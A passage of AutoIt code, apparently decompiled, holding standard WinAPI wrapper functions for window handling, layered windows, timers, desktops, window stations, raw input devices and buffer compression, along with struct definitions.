FUNC _WINAPI_ISZOOMED ($HWND )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "IsZoomed" , "hwnd" , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_KILLTIMER ($HWND , $ITIMERID )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "KillTimer" , "hwnd" , $HWND , "uint_ptr" , $ITIMERID )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_OPENICON ($HWND )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "OpenIcon" , "hwnd" , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_POSTMESSAGE ($HWND , $IMSG , $WPARAM , $LPARAM )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "PostMessage" , "hwnd" , $HWND , "uint" , $IMSG , "wparam" , $WPARAM , "lparam" , $LPARAM )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_REGISTERCLASS ($TWNDCLASS )
LOCAL $ARET = DLLCALL ("user32.dll" , "word" , "RegisterClassW" , "struct*" , $TWNDCLASS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_REGISTERCLASSEX ($TWNDCLASSEX )
LOCAL $ARET = DLLCALL ("user32.dll" , "word" , "RegisterClassExW" , "struct*" , $TWNDCLASSEX )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_REGISTERSHELLHOOKWINDOW ($HWND )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "RegisterShellHookWindow" , "hwnd" , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_REGISTERWINDOWMESSAGE ($SMESSAGE )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "uint" , "RegisterWindowMessageW" , "wstr" , $SMESSAGE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_SENDMESSAGETIMEOUT ($HWND , $IMSG , $WPARAM = 0 , $LPARAM = 0 , $ITIMEOUT = 1000 , $IFLAGS = 0 )
LOCAL $ARET = DLLCALL ("user32.dll" , "lresult" , "SendMessageTimeoutW" , "hwnd" , $HWND , "uint" , $IMSG , "wparam" , $WPARAM , "lparam" , $LPARAM , "uint" , $IFLAGS , "uint" , $ITIMEOUT , "dword_ptr*" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 )
IF NOT $ARET [0 ] THEN RETURN SETERROR (10 , _WINAPI_GETLASTERROR () , + 4294967295 )
RETURN $ARET [7 ]
ENDFUNC
FUNC _WINAPI_SETCLASSLONGEX ($HWND , $IINDEX , $INEWLONG )
LOCAL $ARET
IF @AUTOITX64 THEN
$ARET = DLLCALL ("user32.dll" , "ulong_ptr" , "SetClassLongPtrW" , "hwnd" , $HWND , "int" , $IINDEX , "long_ptr" , $INEWLONG )
ELSE
$ARET = DLLCALL ("user32.dll" , "dword" , "SetClassLongW" , "hwnd" , $HWND , "int" , $IINDEX , "long" , $INEWLONG )
ENDIF
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SETFOREGROUNDWINDOW ($HWND )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "SetForegroundWindow" , "hwnd" , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SETLAYEREDWINDOWATTRIBUTES ($HWND , $ITRANSCOLOR , $ITRANSGUI = 255 , $IFLAGS = 3 , $BCOLORREF = FALSE )
IF $IFLAGS = DEFAULT OR $IFLAGS = "" OR $IFLAGS < 0 THEN $IFLAGS = 3
IF NOT $BCOLORREF THEN
$ITRANSCOLOR = INT (BINARYMID ($ITRANSCOLOR , 3 , 1 ) & BINARYMID ($ITRANSCOLOR , 2 , 1 ) & BINARYMID ($ITRANSCOLOR , 1 , 1 ) )
ENDIF
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "SetLayeredWindowAttributes" , "hwnd" , $HWND , "INT" , $ITRANSCOLOR , "byte" , $ITRANSGUI , "dword" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_SETMESSAGEEXTRAINFO ($LPARAM )
LOCAL $ARET = DLLCALL ("user32.dll" , "lparam" , "SetMessageExtraInfo" , "lparam" , $LPARAM )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SETSYSCOLORS ($VELEMENTS , $VCOLORS )
LOCAL $BISEARRAY = ISARRAY ($VELEMENTS ) , $BISCARRAY = ISARRAY ($VCOLORS )
LOCAL $IELEMENTNUM
IF NOT $BISCARRAY AND NOT $BISEARRAY THEN
$IELEMENTNUM = 1
ELSEIF $BISCARRAY OR $BISEARRAY THEN
IF NOT $BISCARRAY OR NOT $BISEARRAY THEN RETURN SETERROR (+ 4294967295 , + 4294967295 , FALSE )
IF UBOUND ($VELEMENTS ) <> UBOUND ($VCOLORS ) THEN RETURN SETERROR (+ 4294967295 , + 4294967295 , FALSE )
$IELEMENTNUM = UBOUND ($VELEMENTS )
ENDIF
LOCAL $TELEMENTS = DLLSTRUCTCREATE ("int Element[" & $IELEMENTNUM & "]" )
LOCAL $TCOLORS = DLLSTRUCTCREATE ("INT NewColor[" & $IELEMENTNUM & "]" )
IF NOT $BISEARRAY THEN
DLLSTRUCTSETDATA ($TELEMENTS , "Element" , $VELEMENTS , 1 )
ELSE
FOR $X = 0 TO $IELEMENTNUM + 4294967295
DLLSTRUCTSETDATA ($TELEMENTS , "Element" , $VELEMENTS [$X ] , $X + 1 )
NEXT
ENDIF
IF NOT $BISCARRAY THEN
DLLSTRUCTSETDATA ($TCOLORS , "NewColor" , $VCOLORS , 1 )
ELSE
FOR $X = 0 TO $IELEMENTNUM + 4294967295
DLLSTRUCTSETDATA ($TCOLORS , "NewColor" , $VCOLORS [$X ] , $X + 1 )
NEXT
ENDIF
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "SetSysColors" , "int" , $IELEMENTNUM , "struct*" , $TELEMENTS , "struct*" , $TCOLORS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_SETTIMER ($HWND , $ITIMERID , $IELAPSE , $PTIMERFUNC )
LOCAL $ARET = DLLCALL ("user32.dll" , "uint_ptr" , "SetTimer" , "hwnd" , $HWND , "uint_ptr" , $ITIMERID , "uint" , $IELAPSE , "ptr" , $PTIMERFUNC )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SETWINDOWDISPLAYAFFINITY ($HWND , $IAFFINITY )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "SetWindowDisplayAffinity" , "hwnd" , $HWND , "dword" , $IAFFINITY )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SETWINDOWLONG ($HWND , $IINDEX , $IVALUE )
_WINAPI_SETLASTERROR (0 )
LOCAL $SFUNCNAME = "SetWindowLongW"
IF @AUTOITX64 THEN $SFUNCNAME = "SetWindowLongPtrW"
LOCAL $ARESULT = DLLCALL ("user32.dll" , "long_ptr" , $SFUNCNAME , "hwnd" , $HWND , "int" , $IINDEX , "long_ptr" , $IVALUE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_SETWINDOWPLACEMENT ($HWND , $TWINDOWPLACEMENT )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "SetWindowPlacement" , "hwnd" , $HWND , "struct*" , $TWINDOWPLACEMENT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_SHOWOWNEDPOPUPS ($HWND , $BSHOW )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "ShowOwnedPopups" , "hwnd" , $HWND , "bool" , $BSHOW )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_SWITCHTOTHISWINDOW ($HWND , $BALTTAB = FALSE )
DLLCALL ("user32.dll" , "none" , "SwitchToThisWindow" , "hwnd" , $HWND , "bool" , $BALTTAB )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_TILEWINDOWS ($AWNDS , $TRECT = 0 , $HPARENT = 0 , $IFLAGS = 0 , $ISTART = 0 , $IEND = + 4294967295 )
IF __CHECKERRORARRAYBOUNDS ($AWNDS , $ISTART , $IEND ) THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
LOCAL $ICOUNT = $IEND - $ISTART + 1
LOCAL $TWNDS = DLLSTRUCTCREATE ("hwnd[" & $ICOUNT & "]" )
$ICOUNT = 1
FOR $I = $ISTART TO $IEND
DLLSTRUCTSETDATA ($TWNDS , 1 , $AWNDS [$I ] , $ICOUNT )
$ICOUNT += 1
NEXT
LOCAL $ARET = DLLCALL ("user32.dll" , "word" , "TileWindows" , "hwnd" , $HPARENT , "uint" , $IFLAGS , "struct*" , $TRECT , "uint" , $ICOUNT + 4294967295 , "struct*" , $TWNDS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_UNREGISTERCLASS ($SCLASS , $HINSTANCE = 0 )
LOCAL $STYPEOFCLASS = "ptr"
IF ISSTRING ($SCLASS ) THEN
$STYPEOFCLASS = "wstr"
ENDIF
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "UnregisterClassW" , $STYPEOFCLASS , $SCLASS , "handle" , $HINSTANCE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_UPDATELAYEREDWINDOW ($HWND , $HDESTDC , $TPTDEST , $TSIZE , $HSRCDC , $TPTSRCE , $IRGB , $TBLEND , $IFLAGS )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "UpdateLayeredWindow" , "hwnd" , $HWND , "handle" , $HDESTDC , "struct*" , $TPTDEST , "struct*" , $TSIZE , "handle" , $HSRCDC , "struct*" , $TPTSRCE , "dword" , $IRGB , "struct*" , $TBLEND , "dword" , $IFLAGS )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_UPDATELAYEREDWINDOWEX ($HWND , $IX , $IY , $HBITMAP , $IOPACITY = 255 , $BDELETE = FALSE )
LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "GetDC" , "hwnd" , $HWND )
LOCAL $HDC = $ARET [0 ]
$ARET = DLLCALL ("gdi32.dll" , "handle" , "CreateCompatibleDC" , "handle" , $HDC )
LOCAL $HDESTDC = $ARET [0 ]
$ARET = DLLCALL ("gdi32.dll" , "handle" , "SelectObject" , "handle" , $HDESTDC , "handle" , $HBITMAP )
LOCAL $HDESTSV = $ARET [0 ]
LOCAL $TPOINT
IF ($IX = + 4294967295 ) AND ($IY = + 4294967295 ) THEN
$TPOINT = DLLSTRUCTCREATE ("int;int" )
ELSE
$TPOINT = DLLSTRUCTCREATE ("int;int;int;int" )
DLLSTRUCTSETDATA ($TPOINT , 3 , $IX )
DLLSTRUCTSETDATA ($TPOINT , 4 , $IY )
ENDIF
DLLSTRUCTSETDATA ($TPOINT , 1 , 0 )
DLLSTRUCTSETDATA ($TPOINT , 2 , 0 )
LOCAL $TBLENDFUNCTION = DLLSTRUCTCREATE ($TAGBLENDFUNCTION )
DLLSTRUCTSETDATA ($TBLENDFUNCTION , 1 , 0 )
DLLSTRUCTSETDATA ($TBLENDFUNCTION , 2 , 0 )
DLLSTRUCTSETDATA ($TBLENDFUNCTION , 3 , $IOPACITY )
DLLSTRUCTSETDATA ($TBLENDFUNCTION , 4 , 1 )
LOCAL CONST $TAGBITMAP = "struct;long bmType;long bmWidth;long bmHeight;long bmWidthBytes;ushort bmPlanes;ushort bmBitsPixel;ptr bmBits;endstruct"
LOCAL $TOBJ = DLLSTRUCTCREATE ($TAGBITMAP )
DLLCALL ("gdi32.dll" , "int" , "GetObject" , "handle" , $HBITMAP , "int" , DLLSTRUCTGETSIZE ($TOBJ ) , "struct*" , $TOBJ )
LOCAL $TSIZE = DLLSTRUCTCREATE ($TAGSIZE , DLLSTRUCTGETPTR ($TOBJ , "bmWidth" ) )
$ARET = DLLCALL ("user32.dll" , "bool" , "UpdateLayeredWindow" , "hwnd" , $HWND , "handle" , $HDC , "ptr" , DLLSTRUCTGETPTR ($TPOINT , 3 ) , "struct*" , $TSIZE , "handle" , $HDESTDC , "struct*" , $TPOINT , "dword" , 0 , "struct*" , $TBLENDFUNCTION , "dword" , 2 )
LOCAL $IERROR = @ERROR
DLLCALL ("user32.dll" , "bool" , "ReleaseDC" , "hwnd" , $HWND , "handle" , $HDC )
DLLCALL ("gdi32.dll" , "handle" , "SelectObject" , "handle" , $HDESTDC , "handle" , $HDESTSV )
DLLCALL ("gdi32.dll" , "bool" , "DeleteDC" , "handle" , $HDESTDC )
IF $IERROR THEN RETURN SETERROR ($IERROR , 0 , FALSE )
IF $BDELETE THEN
DLLCALL ("gdi32.dll" , "bool" , "DeleteObject" , "handle" , $HBITMAP )
ENDIF
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_UPDATELAYEREDWINDOWINDIRECT ($HWND , $TULWINFO )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "UpdateLayeredWindowIndirect" , "hwnd" , $HWND , "struct*" , $TULWINFO )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_WINDOWFROMPOINT (BYREF $TPOINT )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "hwnd" , "WindowFromPoint" , "struct" , $TPOINT )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
#EndRegion Public Functions
#Region Internal Functions
FUNC __ENUMDEFAULTPROC ($PDATA , $LPARAM )
#forceref $lParam
LOCAL $ILENGTH = _WINAPI_STRLEN ($PDATA )
__INC ($__G_VENUM )
IF $ILENGTH THEN
$__G_VENUM [$__G_VENUM [0 ] ] = DLLSTRUCTGETDATA (DLLSTRUCTCREATE ("wchar[" & ($ILENGTH + 1 ) & "]" , $PDATA ) , 1 )
ELSE
$__G_VENUM [$__G_VENUM [0 ] ] = ""
ENDIF
RETURN 1
ENDFUNC
#EndRegion Internal Functions
#Region Global Variables and Constants
GLOBAL CONST $TAGOSVERSIONINFOEX = $TAGOSVERSIONINFO & ";ushort ServicePackMajor;ushort ServicePackMinor;ushort SuiteMask;byte ProductType;byte Reserved"
GLOBAL CONST $TAGRAWINPUTDEVICE = "struct;ushort UsagePage;ushort Usage;dword Flags;hwnd hTarget;endstruct"
GLOBAL CONST $TAGRAWINPUTHEADER = "struct;dword Type;dword Size;handle hDevice;wparam wParam;endstruct"
GLOBAL CONST $TAGRAWMOUSE = "ushort Flags;ushort Alignment;ushort ButtonFlags;ushort ButtonData;ulong RawButtons;long LastX;long LastY;ulong ExtraInformation;"
GLOBAL CONST $TAGRAWKEYBOARD = "ushort MakeCode;ushort Flags;ushort Reserved;ushort VKey;uint Message;ulong ExtraInformation;"
GLOBAL CONST $TAGRAWHID = "dword SizeHid;dword Count;"
GLOBAL CONST $TAGRAWINPUTMOUSE = $TAGRAWINPUTHEADER & ";" & $TAGRAWMOUSE
GLOBAL CONST $TAGRAWINPUTKEYBOARD = $TAGRAWINPUTHEADER & ";" & $TAGRAWKEYBOARD
GLOBAL CONST $TAGRAWINPUTHID = $TAGRAWINPUTHEADER & ";" & $TAGRAWHID
GLOBAL CONST $TAGRID_DEVICE_INFO_MOUSE = "struct;dword Id;dword NumberOfButtons;dword SampleRate;int HasHorizontalWheel;endstruc"
GLOBAL CONST $TAGRID_DEVICE_INFO_KEYBOARD = "struct;dword KbType;dword KbSubType;dword KeyboardMode;dword NumberOfFunctionKeys;dword NumberOfIndicators;dword NumberOfKeysTotal;endstruc"
GLOBAL CONST $TAGRID_DEVICE_INFO_HID = "struct;dword VendorId;dword ProductId;dword VersionNumber;ushort UsagePage;ushort Usage;endstruc"
GLOBAL CONST $TAGRID_INFO_MOUSE = "dword Size;dword Type;" & $TAGRID_DEVICE_INFO_MOUSE & ";dword Unused[2];"
GLOBAL CONST $TAGRID_INFO_KEYBOARD = "dword Size;dword Type;" & $TAGRID_DEVICE_INFO_KEYBOARD
GLOBAL CONST $TAGRID_INFO_HID = "dword Size;dword Type;" & $TAGRID_DEVICE_INFO_HID & ";dword Unused[2]"
GLOBAL CONST $TAGUSEROBJECTFLAGS = "int Inherit;int Reserved;dword Flags"
#EndRegion Global Variables and Constants
#Region Functions list
#EndRegion Functions list
#Region Public Functions
FUNC _WINAPI_ACTIVATEKEYBOARDLAYOUT ($HLOCALE , $IFLAG = 0 )
LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "ActivateKeyboardLayout" , "handle" , $HLOCALE , "uint" , $IFLAG )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_ADDCLIPBOARDFORMATLISTENER ($HWND )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "AddClipboardFormatListener" , "hwnd" , $HWND )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_CALLNEXTHOOKEX ($HHOOK , $ICODE , $WPARAM , $LPARAM )
LOCAL $ARESULT = DLLCALL ("user32.dll" , "lresult" , "CallNextHookEx" , "handle" , $HHOOK , "int" , $ICODE , "wparam" , $WPARAM , "lparam" , $LPARAM )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _WINAPI_CLOSEDESKTOP ($HDESKTOP )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "CloseDesktop" , "handle" , $HDESKTOP )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_CLOSEWINDOWSTATION ($HSTATION )
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "CloseWindowStation" , "handle" , $HSTATION )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_COMPRESSBUFFER ($PUNCOMPRESSEDBUFFER , $IUNCOMPRESSEDSIZE , $PCOMPRESSEDBUFFER , $ICOMPRESSEDSIZE , $IFORMATANDENGINE = 2 )
LOCAL $ARET , $PWORKSPACE = 0 , $IERROR = 0
DO
$ARET = DLLCALL ("ntdll.dll" , "uint" , "RtlGetCompressionWorkSpaceSize" , "ushort" , $IFORMATANDENGINE , "ulong*" , 0 , "ulong*" , 0 )
IF @ERROR OR $ARET [0 ] THEN
$IERROR = @ERROR + 20
EXITLOOP
ENDIF
$PWORKSPACE = __HEAPALLOC ($ARET [2 ] )
IF @ERROR THEN
$IERROR = @ERROR + 100
EXITLOOP
ENDIF
$ARET = DLLCALL ("ntdll.dll" , "uint" , "RtlCompressBuffer" , "ushort" , $IFORMATANDENGINE , "struct*" , $PUNCOMPRESSEDBUFFER , "ulong" , $IUNCOMPRESSEDSIZE , "struct*" , $PCOMPRESSEDBUFFER , "ulong" , $ICOMPRESSEDSIZE , "ulong" , 4096 , "ulong*" , 0 , "ptr" , $PWORKSPACE )
IF @ERROR OR $ARET [0 ] OR NOT $ARET [7 ] THEN
$IERROR = @ERROR + 30
EXITLOOP
ENDIF
UNTIL 1
__HEAPFREE ($PWORKSPACE )
IF $IERROR THEN
IF ISARRAY ($ARET ) THEN
RETURN SETERROR (10 , $ARET [0 ] , 0 )
ELSE
RETURN SETERROR ($IERROR , 0 , 0 )
ENDIF
ENDIF
RETURN $ARET [7 ]
ENDFUNC
FUNC _WINAPI_COMPUTECRC32 ($PMEMORY , $ILENGTH )
IF _WINAPI_ISBADREADPTR ($PMEMORY , $ILENGTH ) THEN RETURN SETERROR (1 , @EXTENDED , 0 )
LOCAL $ARET = DLLCALL ("ntdll.dll" , "dword" , "RtlComputeCrc32" , "dword" , 0 , "struct*" , $PMEMORY , "int" , $ILENGTH )
IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_CREATEDESKTOP ($SNAME , $IACCESS = 2 , $IFLAGS = 0 , $IHEAP = 0 , $TSECURITY = 0 )
LOCAL $ARET
IF $IHEAP THEN
$ARET = DLLCALL ("user32.dll" , "handle" , "CreateDesktopExW" , "wstr" , $SNAME , "ptr" , 0 , "ptr" , 0 , "dword" , $IFLAGS , "dword" , $IACCESS , "struct*" , $TSECURITY , "ulong" , $IHEAP , "ptr" , 0 )
ELSE
$ARET = DLLCALL ("user32.dll" , "handle" , "CreateDesktopW" , "wstr" , $SNAME , "ptr" , 0 , "ptr" , 0 , "dword" , $IFLAGS , "dword" , $IACCESS , "struct*" , $TSECURITY )
ENDIF
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_CREATEWINDOWSTATION ($SNAME = "" , $IACCESS = 0 , $IFLAGS = 0 , $TSECURITY = 0 )
LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "CreateWindowStationW" , "wstr" , $SNAME , "dword" , $IFLAGS , "dword" , $IACCESS , "struct*" , $TSECURITY )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARET [0 ]
ENDFUNC
FUNC _WINAPI_DECOMPRESSBUFFER ($PUNCOMPRESSEDBUFFER , $IUNCOMPRESSEDSIZE , $PCOMPRESSEDBUFFER , $ICOMPRESSEDSIZE , $IFORMAT = 2 )
LOCAL $ARET = DLLCALL ("ntdll.dll" , "long" , "RtlDecompressBuffer" , "ushort" , $IFORMAT , "struct*" , $PUNCOMPRESSEDBUFFER , "ulong" , $IUNCOMPRESSEDSIZE , "struct*" , $PCOMPRESSEDBUFFER , "ulong" , $ICOMPRESSEDSIZE , "ulong*" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
RETURN $ARET [6 ]
ENDFUNC
FUNC _WINAPI_DEFRAWINPUTPROC ($PARAWINPUT , $IINPUT )
LOCAL $ARET = DLLCALL ("user32.dll" , "lresult" , "DefRawInputProc" , "ptr" , $PARAWINPUT , "int" , $IINPUT , "uint" , DLLSTRUCTGETSIZE (DLLSTRUCTCREATE ($TAGRAWINPUTHEADER ) ) )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 )
RETURN 1
ENDFUNC
FUNC _WINAPI_ENUMDESKTOPS ($HSTATION )
IF STRINGCOMPARE (_WINAPI_GETUSEROBJECTINFORMATION ($HSTATION , 3 ) , "WindowStation" ) THEN RETURN SETERROR (1 , 0 , 0 )
LOCAL $HENUMPROC = DLLCALLBACKREGISTER ("__EnumDefaultProc" , "bool" , "ptr;lparam" )
DIM $__G_VENUM [101 ] = [0 ]
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "EnumDesktopsW" , "handle" , $HSTATION , "ptr" , DLLCALLBACKGETPTR ($HENUMPROC ) , "lparam" , 0 )
IF @ERROR OR NOT $ARET [0 ] OR NOT $__G_VENUM [0 ] THEN
$__G_VENUM = @ERROR + 10
ENDIF
DLLCALLBACKFREE ($HENUMPROC )
IF $__G_VENUM THEN RETURN SETERROR ($__G_VENUM , 0 , 0 )
__INC ($__G_VENUM , + 4294967295 )
RETURN $__G_VENUM
ENDFUNC
FUNC _WINAPI_ENUMDESKTOPWINDOWS ($HDESKTOP , $BVISIBLE = TRUE )
IF STRINGCOMPARE (_WINAPI_GETUSEROBJECTINFORMATION ($HDESKTOP , 3 ) , "Desktop" ) THEN RETURN SETERROR (1 , 0 , 0 )
LOCAL $HENUMPROC = DLLCALLBACKREGISTER ("__EnumWindowsProc" , "bool" , "hwnd;lparam" )
DIM $__G_VENUM [101 ] [2 ] = [[0 ] ]
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "EnumDesktopWindows" , "handle" , $HDESKTOP , "ptr" , DLLCALLBACKGETPTR ($HENUMPROC ) , "lparam" , $BVISIBLE )
IF @ERROR OR NOT $ARET [0 ] OR NOT $__G_VENUM [0 ] [0 ] THEN
$__G_VENUM = @ERROR + 10
ENDIF
DLLCALLBACKFREE ($HENUMPROC )
IF $__G_VENUM THEN RETURN SETERROR ($__G_VENUM , 0 , 0 )
__INC ($__G_VENUM , + 4294967295 )
RETURN $__G_VENUM
ENDFUNC
FUNC _WINAPI_ENUMPAGEFILES ()
LOCAL $AINFO = _WINAPI_GETSYSTEMINFO ()
LOCAL $HENUMPROC = DLLCALLBACKREGISTER ("__EnumPageFilesProc" , "bool" , "lparam;ptr;ptr" )
DIM $__G_VENUM [101 ] [4 ] = [[0 ] ]
LOCAL $ARET = DLLCALL (@SYSTEMDIR & "\psapi.dll" , "bool" , "EnumPageFilesW" , "ptr" , DLLCALLBACKGETPTR ($HENUMPROC ) , "lparam" , $AINFO [1 ] )
IF @ERROR OR NOT $ARET [0 ] OR NOT $__G_VENUM [0 ] [0 ] THEN
$__G_VENUM = @ERROR + 10
ENDIF
DLLCALLBACKFREE ($HENUMPROC )
IF $__G_VENUM THEN RETURN SETERROR ($__G_VENUM , 0 , 0 )
__INC ($__G_VENUM , + 4294967295 )
RETURN $__G_VENUM
ENDFUNC
FUNC _WINAPI_ENUMRAWINPUTDEVICES ()
LOCAL CONST $TAGRAWINPUTDEVICELIST = "struct;handle hDevice;dword Type;endstruct"
LOCAL $TRIDL , $ILENGTH = DLLSTRUCTGETSIZE (DLLSTRUCTCREATE ($TAGRAWINPUTDEVICELIST ) )
LOCAL $ARET = DLLCALL ("user32.dll" , "uint" , "GetRawInputDeviceList" , "ptr" , 0 , "uint*" , 0 , "uint" , $ILENGTH )
IF @ERROR THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 )
IF ($ARET [0 ] = 0xFFFFFFFF ) OR (NOT $ARET [2 ] ) THEN RETURN SETERROR (10 , + 4294967295 , 0 )
LOCAL $TDATA = DLLSTRUCTCREATE ("byte[" & ($ARET [2 ] * $ILENGTH ) & "]" )
LOCAL $PDATA = DLLSTRUCTGETPTR ($TDATA )
IF @ERROR THEN RETURN SETERROR (@ERROR + 20 , 0 , 0 )
$ARET = DLLCALL ("user32.dll" , "uint" , "GetRawInputDeviceList" , "ptr" , $PDATA , "uint*" , $ARET [2 ] , "uint" , $ILENGTH )
IF ($ARET [0 ] = 0xFFFFFFFF ) OR (NOT $ARET [0 ] ) THEN RETURN SETERROR (1 , + 4294967295 , 0 )
LOCAL $ARESULT [$ARET [2 ] + 1 ] [2 ] = [[$ARET [2 ] ] ]
FOR $I = 1 TO $ARET [2 ]
$TRIDL = DLLSTRUCTCREATE ("ptr;dword" , $PDATA + $ILENGTH * ($I + 4294967295 ) )
FOR $J = 0 TO 1
$ARESULT [$I ] [$J ] = DLLSTRUCTGETDATA ($TRIDL , $J + 1 )
NEXT
NEXT
RETURN $ARESULT
ENDFUNC
FUNC _WINAPI_ENUMWINDOWSTATIONS ()
LOCAL $HENUMPROC = DLLCALLBACKREGISTER ("__EnumDefaultProc" , "bool" , "ptr;lparam" )
DIM $__G_VENUM [101 ] = [0 ]
LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "EnumWindowStationsW" , "ptr" , DLLCALLBACKGETPTR ($HENUMPROC ) , "lparam" , 0 )
IF @ERROR OR NOT $ARET [0 ] OR NOT $__G_VENUM [0 ] THEN
$__G_VENUM = @ERROR + 10
ENDIF
DLLCALLBACKFREE ($HENUMPROC )
IF $__G_VENUM THEN RETURN SETERROR ($__G_VENUM , 0 , 0 )
__INC ($__G_VENUM , + 4294967295 )
RETURN $__G_VENUM
ENDFUNC
FUNC _WINAPI_EXPANDENVIRONMENTSTRINGS ($SSTRING )
